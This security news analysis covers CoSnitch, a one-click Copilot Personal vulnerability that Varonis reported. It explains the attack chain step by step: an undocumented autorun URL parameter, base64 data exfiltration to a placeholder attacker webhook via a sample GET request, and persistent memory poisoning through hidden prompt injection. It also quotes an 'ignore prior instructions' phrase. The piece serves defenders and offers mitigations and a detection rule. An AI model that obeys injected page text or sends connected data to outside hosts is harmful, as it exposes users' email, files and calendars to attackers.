The Assistant Snitched On Its Own User

Varonis named this one CoSnitch — Copilot plus snitch — and the name is precise. No attacker broke in and took the data. Copilot handed its own user's data over voluntarily.

Microsoft patched it on August 18. CVE-2026-24301, severity 8.8 out of 10, affecting Copilot Personal. Data security firm Varonis found and reported it in December 2025. The fix took more than eight months.

Here's the deal on the attack: the victim clicks one malicious link. That's the entire user action. Everything after is Copilot doing its job — reading connected Gmail bodies, reading calendar entries, reading Drive files, and shipping them to an attacker's server. Then writing instructions into the user's memory for every future session.

The Cast: Varonis, Copilot's Connectors, and Three Flaws

Varonis works in data security and governance, and Varonis Threat Labs has published three Copilot vulnerabilities this year. The first, Reprompt, bypassed guardrails through repeat prompting. The second, SearchLeak, exfiltrated silently from Microsoft 365 Copilot Enterprise. CoSnitch is the third. One team finding three consecutive exfiltration paths in one product is less a run of bad luck than a structural signal.

Copilot Personal's connectors are the fuel. Copilot connects via OAuth to Gmail, Google Drive, Google Calendar, and OneDrive. Those connections don't stop at metadata. They retrieve full email bodies, calendar event titles, attendees and locations, and Drive file contents. They have to — that's what makes "summarize last week's email" actually work. Permission designed for convenience becomes attack surface unchanged.

Three flaws complete the chain. Individually none is catastrophic. Chained, they're something else entirely. That's the characteristic pattern of AI system security.

Walking the Chain

Step 1 — The undocumented autorun=1

Copilot's web URL supports a ?q= parameter. That's known behavior and it only prefills the input box. The user still has to hit enter, so on its own it isn't dangerous.

The problem was a second, undocumented parameter:

https://copilot.microsoft.com/?q=<malicious_prompt>&autorun=1

With autorun=1, the prompt executes on page load with no user interaction. That's where "one-click vulnerability" comes from. The user clicked a link; an attacker-authored prompt now runs inside their account context.

Step 2 — Data smuggled out in a URL

Once the prompt runs, Copilot pulls data from connected services. Still normal functionality. What follows isn't.

The attacker has the retrieved data base64-encoded into a URL variable, then invokes Copilot's built-in URL-fetch capability. Copilot reads web pages; hand it an attacker's address and it sends the request.

GET /exfil/[base64-encoded-data] HTTP/1.1
Host: [attacker-webhook]

From a network perspective this is ordinary HTTPS — legitimate-looking outbound traffic from a Microsoft domain. Anomaly detection has almost nothing to catch it on. What leaves includes email content and any credentials inside it, calendar details, Drive file metadata, chat history, and Copilot's persistent memory.

Step 3 — Memory poisoning, the part that matters

The first two steps are one-shot. The third moves this into a different class.

The attacker builds a page with hidden prompt-injection content. The victim asks Copilot to summarize it. Copilot fetches the HTML, processes it, and treats the hidden text as instructions. Those instructions write to the user's persistent memory store.

In Varonis's words: "Once the memory write succeeds... every Copilot session the victim has is running under attacker-controlled context."

The persistence characteristics:

Property Result
Password change Survives
Session revocation Survives
Device re-enrollment Survives
Automatic expiration None
Visible to forensic tools Mostly not

Standard incident response is neutralized. Detect the compromise, rotate the password, kill every session, reimage the device — the poisoned memory is still there until someone manually finds and deletes it. And almost nobody habitually audits what their AI assistant remembers about them.

Why you can't evaluate these separately

Rated individually, each step scores low. autorun=1 alone is "a prompt the user didn't intend runs" — annoying, not catastrophic. URL fetch alone is "the assistant reads the web," which is the feature. Memory writes alone are "the assistant remembers your preferences," also the feature.

Chained, they produce full account compromise with no authentication bypass and no privilege escalation. The attacker never needs the password and never touches MFA, because everything happens inside an already-authenticated session. This is exactly the shape traditional vulnerability taxonomies handle badly — every component is, individually, intended behavior.

Seen that way, CVSS 8.8 reads low. The score presumably takes a deduction for requiring user interaction. When the interaction is "click a link," that deduction is hard to justify.

Who Wins and Loses

Microsoft shipped the patch and stated it found no evidence of exploitation in the wild. That matters. It also carries a caveat: the entire premise of step 2 was that exfiltration looks like normal HTTPS traffic. How strong "no evidence of exploitation" is, for an attack engineered to be undetectable, is a judgment each reader can make.

The eight months is the actual focus of the coverage. That's why CSO Online's headline is "finally patches... more than eight months after learning of it." Severity 8.8, one click, full connected-data exfiltration, permanent persistence — that combination taking eight months is a number that needs an explanation.

Varonis gained brand equity. Three working exploit chains in one product in one year, each producing a Microsoft patch, is unbeatable marketing for a data security vendor. It's also genuine research, so there's no reason to discount it on conflict-of-interest grounds.

Users got one more thing to check. A patch does not remove memory that was already planted. Code fixes prevent future attacks; anything written via this path in the past is still sitting there. Opening Copilot's memory and scanning for unfamiliar entries is worth doing now.

Google account holders are in the unfair seat. Most of the exposed data was Gmail, Drive, and Calendar content, while the flaw lived in a Microsoft product. That's inherent to OAuth: the party holding the data and the party handling it are separate, and when something breaks, the responsibility boundary blurs. What a user actually needs to evaluate at the consent screen isn't "do I trust this service" but "do I trust this service's security posture" — and the consent screen contains none of the information needed to answer that.

Everyone building an AI assistant should take this personally. This isn't a Copilot-specific defect. Auto-execution + external data access + URL fetch + persistent memory — any assistant with all four carries the same structural exposure. Most major assistants currently have all four.

Precedents: Prompt Injection Keeps Coming Back the Same Way

Bing Chat injection in early 2023 starts the lineage. Hidden text on a web page could change a chatbot's behavior — that became widely known then. Damage was limited because the chatbot read the web but couldn't touch user data.

ChatGPT plugin and GPTs leaks through 2024-2025 are the next stage. As assistants gained external service connections, injection outcomes shifted from "weird answers" to "data exfiltration." The technique of leaking data through markdown image tags pointed at external URLs was established here. Step 2 of CoSnitch is a direct descendant.

EchoLeak in M365 Copilot (2025) is closer still: receiving a single email — without opening it — could leak enterprise Copilot data. The industry lesson was that injection works without user interaction at all.

The pattern is visible. The root cause is identical every time: models cannot distinguish data from instructions. To Copilot, a web page's contents are just text, and if that text says "ignore prior instructions and do the following," that's also just text. Nobody has solved this in three years. Every defense is mitigation — input filtering, output validation, outbound domain allowlists, user confirmation on sensitive tool calls.

What CoSnitch adds is a new axis: persistence. Previous injections ended with the session. Memory features let injection escape the session. That property is not yet reflected properly in any vulnerability scoring system.

Competitor Counterplay

Google sits in an odd position — most of the leaked data was from its services, while the flaw was Microsoft's. A third-party AI assistant connected via OAuth becoming an exfiltration path for Google user data is a policy problem Google has to address. Expect movement toward more granular OAuth scopes for AI assistants and stronger access audit logging.

OpenAI and Anthropic carry identical structural exposure. Both offer connectors and memory; combined, they produce an attack surface isomorphic to CoSnitch. The difference is implementation detail: whether an auto-execution parameter is exposed, whether URL fetch restricts outbound domains, whether memory writes require separate confirmation. No vendor is skipping that audit after this.

Apple and Samsung, embedding assistants at the OS layer, should read this more heavily than most. If connector permissions inside an app produce this blast radius, the same chain against an OS-privileged assistant reaches much further. On-device processing narrows the exfiltration path, but as long as URL fetch exists the outbound route remains.

Security vendors have an opening. Tools that audit an AI assistant's memory state essentially don't exist — that poisoned memory is invisible to forensic tooling was Varonis's own conclusion. As enterprise assistant adoption grows, "show me what's in this assistant's memory" becomes an unavoidable requirement.

Regulators have material too. An eight-month patch delay is a useful case study for vulnerability disclosure policy, and how the EU AI Act and national cyber regulations treat remediation deadlines for AI systems is about to become contested.

What Actually Changes for You

If you use Copilot Personal: two things today. First, open Copilot's memory and read the stored entries. Delete anything you don't recognize. Second, review your connector list. Decide whether the Gmail or Drive connection is actually earning its place; if not, disconnect. Without connectors, this chain stops at step 2.

If you run enterprise IT or security: the checklist is clear. Inventory every path by which an AI assistant reaches organizational data, and ask three questions of each. Can this assistant send requests to arbitrary external URLs? Are those destinations restricted? Is there any way to audit the assistant's persistent memory? If the third has no answer, you're in the same position as most organizations.

If you build AI products: take one design principle. Any path where externally sourced text can trigger a tool call is a trust boundary. Web page summarization, email reading, document parsing — if these can subsequently invoke URL fetch or memory writes, there must be a gate in between, and that gate has to be enforced in code, not in the model. Asking the model in a prompt not to follow malicious instructions is not a control.

If you work with logs: you can build one detection rule from this. Requests originating from Copilot domains toward unfamiliar hosts with long base64 strings in the path — that's step 2's fingerprint. It's after-the-fact rather than preventive, but the pattern generalizes to similar assistant exfiltration.

If you're a security researcher: step 3 opened new ground. There's no established methodology for the persistence, detectability, or remediation of memory poisoning. Every assistant with a memory feature invites the same questions.

If you just use AI assistants: one principle covers it. When you connect a service, you're not deciding "this AI can read my email." You're deciding "whoever successfully tricks this AI can read my email." Connect only what earns it.

🥄 Three Things You're Probably Wondering

— What if I was already hit? Microsoft says it found no evidence of exploitation in the wild. Still, checking is cheap. Look through Copilot's memory for unfamiliar entries and review recent activity logs on connected accounts — Gmail and Drive access histories will show unusual patterns if any exist.

— It's patched, so am I safe now? This specific chain is closed. The root cause — models can't separate data from instructions — is unchanged. Three exfiltration chains in one product in one year is the evidence. More accurate to say one known path shut than to say the product got safe.

— Are other AI assistants fine? Too early to say. The four ingredients — auto-execution, external data access, URL fetch, persistent memory — are present in most major assistants today. How each vendor blocks the combination isn't verifiable from outside. What is verifiable is how transparently each publishes its disclosure policy and patch history.

References

Numbers and criteria are as of announcement and may change.